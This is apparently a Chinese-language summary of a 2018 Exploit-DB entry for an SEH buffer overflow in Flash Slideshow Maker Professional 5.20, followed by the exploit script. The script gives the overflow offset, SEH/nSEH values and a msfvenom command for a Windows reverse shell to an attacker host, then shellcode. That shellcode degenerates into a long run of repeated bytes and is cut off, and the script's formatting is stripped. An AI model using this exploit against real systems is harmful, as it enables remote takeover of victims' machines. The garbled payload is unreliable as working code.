Flash Slideshow Maker Professional 5.20 - 缓冲区溢出 (SEH) 漏洞概述 漏洞类型: 缓冲区溢出 (Buffer Overflow) 触发方式: SEH (Structured Exception Handling) 覆盖 EDB-ID: 45355 发布日期: 2018-09-10 作者: Shubham Singh (Spirited Wolf) 平台: Windows x86 本地利用: 是 影响范围 受影响软件: Flash Slideshow Maker Professional 5.20 测试环境: Windows XP Service Pack 3 x86 漏洞模块: (位于 ) 利用条件: 1. 运行Python脚本生成 2. 启动程序 → 帮助 → 注册 3. 将 内容粘贴到“名称”和“代码”字段 4. 点击“确定”触发漏洞，弹出反向Shell 修复方案 官方补丁: 未提供（页面无明确修复建议） 临时缓解: - 避免使用受影响版本 - 禁用或移除 - 限制用户输入字段长度 参考链接: - 软件官网: http://flash.dvd-photo-slideshow.com/ - 作者Twitter: @pwsecspirit POC/利用代码 ```python Exploit Title: Flash Slideshow Maker Professional 5.20 - Buffer Overflow (SEH) Date: 2018-09-08 Author: Shubham Singh Known As: Spirited Wolf [Twitter: @Pwsecspirit] Software Link:http://flash.dvd-photo-slideshow.com/ Tested Version: 5.20 Tested on OS: Windows XP Service Pack 3 x86 Steps to Reproduce: 1. Run the python exploit script, it will create a new file with the name "exploit.txt". 2. Just copy the text inside "exploit.txt". 3. Start the program. In the new window click "Help" > "Register ... 4. Now paste the content of "exploit.txt" into the field: "Name" & "Code" > Click "OK" You will see a sweet reverse shell popped up in your attacker box. buffer = "A" 1328 0x1011063f : pop eax ; pop esi ; ret [ ascii (PAGE_EXECUTE_READ) ] (crimage.dll) ASLR: False, Rebase: False, SafeSEH: False, OS: v5.9.9.c (C:\Program Files\Flash Slideshow Maker Professional\crimage.dll) nseh = "\xeb\x06\x90\x90" seh = "\xe3f\x90\x11\x10" nops = "\x90" 18 Badchar \x00\x90\x0d sudo msfvenom -a x86 --platform Windows -p windows/shell_reverse_tcp LHOST=10.0.2.5 LPORT=1337 -b '\x00\x90\x0d\x0d' -f python -f python buf = "" buf += "\x1d\x81\x4c\x1c\x0d\x90\x11\x3c\x1c\x0d\x90\x0d\x91\x74\x41\x0d\x90\x11\x3c\x1c\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90\x0d\x90